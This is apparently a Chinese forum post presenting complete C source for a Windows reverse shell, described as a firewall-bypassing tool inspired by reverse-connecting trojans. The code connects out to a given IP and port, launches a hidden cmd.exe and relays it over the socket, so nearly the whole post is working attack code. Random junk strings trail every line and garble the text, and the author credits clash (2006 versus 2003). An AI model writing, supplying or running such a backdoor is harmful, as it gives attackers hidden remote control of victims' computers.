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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t$nJmfzm  
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/* ============================== LHA^uuBN}  
Rebound port in Windows NT ,5 ka{Q`K  
By wind,2006/7 X1(ds*'Kv  
===============================*/ UxNn5(:sM@  
#include P}8hK   
#include aInt[D(  
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#pragma comment(lib,"wsock32.lib") S.`y%t.GP  
dPu27 "  
void OutputShell(); f4  S:L&  
SOCKET sClient; 3R< r[3WP  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E~}H,*)  
N9M}H#  
void main(int argc,char **argv) -lJ|x>PG'  
{ 2x<BU3  
WSADATA stWsaData; mbbhz,  
int nRet; r5s{t4 ;Ch  
SOCKADDR_IN stSaiClient,stSaiServer; ks. p)F>]  
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if(argc != 3) MXaik+2  
{ C '[4jz0xF  
printf("Useage:\n\rRebound DestIP DestPort\n"); B bmw[Qf\  
return; /E<Q_/'Z  
} #9TL5-1y  
T%%EWa<a  
WSAStartup(MAKEWORD(2,2),&stWsaData); +!u9_?Tp  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `/ T.u&QF  
t8RtJ2;  
stSaiClient.sin_family = AF_INET; v+x<X5u  
stSaiClient.sin_port = htons(0); p+iNi4y@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); OiA uL:D  
&w^9#L  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) r8YM#dF  
{ -_9*BvS]R  
printf("Bind Socket Failed!\n"); UUz{Qm%  
return; SN"Y@y)=  
} y$fMMAN7  
vW.f`J,\D'  
stSaiServer.sin_family = AF_INET; 5GAW3j{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U~BR8]=G  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ih)\P0wed  
2|?U%YrHWs  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "\Dqtr w  
{ =C$"e4%Be  
printf("Connect Error!"); lGahwn:  
return; kJB:=iq/x$  
} ASEKP(]v  
OutputShell(); b' ^<0c  
} O D5qPovsd  
nT:<_'!  
void OutputShell() 9?sY!gXc  
{ gcwJ{&  
char szBuff[1024]; 9E5*%Hu_  
SECURITY_ATTRIBUTES stSecurityAttributes; mW)kWuOO  
OSVERSIONINFO stOsversionInfo; ]Z UE !  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B7qi|Fw  
STARTUPINFO stStartupInfo; N4qBCBr(  
char *szShell; _)pOkS  
PROCESS_INFORMATION stProcessInformation; ,]JIp~=nsh  
unsigned long lBytesRead; ]Rf$&7`g{  
LsGO~EiJ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {TJ "O  
g'km*EV  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 30w(uF  
stSecurityAttributes.lpSecurityDescriptor = 0; J s33S)  
stSecurityAttributes.bInheritHandle = TRUE; ShtV2}s|  
|2TH[J_a  
i\ 7JQZ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mK7SEH;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ORX<ZO t1  
u*\QVOF  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); k=d _{2 ~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n|.eL8lX.<  
stStartupInfo.wShowWindow = SW_HIDE; zvnd@y{[  
stStartupInfo.hStdInput = hReadPipe; !RLXB$@`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; oP 7)  
_W Hi<,-  
GetVersionEx(&stOsversionInfo); yN[i6oe  
:zIB3nT^  
switch(stOsversionInfo.dwPlatformId) AVz907h8  
{ s 64@<oU<"  
case 1: wE9z@\z]  
szShell = "command.com"; \qW^AD(it<  
break;  N6\m*j,`  
default: 6R3/"&P(/#  
szShell = "cmd.exe"; Wxj(3lg/  
break; aY, '^S  
} hE\gXb  
Hjs#p{t[  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X+\=dhn69  
.db:mSrL  
send(sClient,szMsg,77,0); ALR`z~1  
while(1) N?%FVF  
{ S#ud<=@!9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WWIQ6EJO  
if(lBytesRead) l\=He  
{ W^9=z~-h  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Wl>$<D4mO[  
send(sClient,szBuff,lBytesRead,0); G9c2kX.Bf  
} } qr ,  
else -~=:tn)0  
{ rgrsNr:1  
lBytesRead=recv(sClient,szBuff,1024,0); N07FU\<9  
if(lBytesRead<=0) break; ddeH-Z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6:Zd,N=  
} X;p4/ *U  
} 5sF?0P;ln  
mr#XN&e  
return; fK9wr@1  
}
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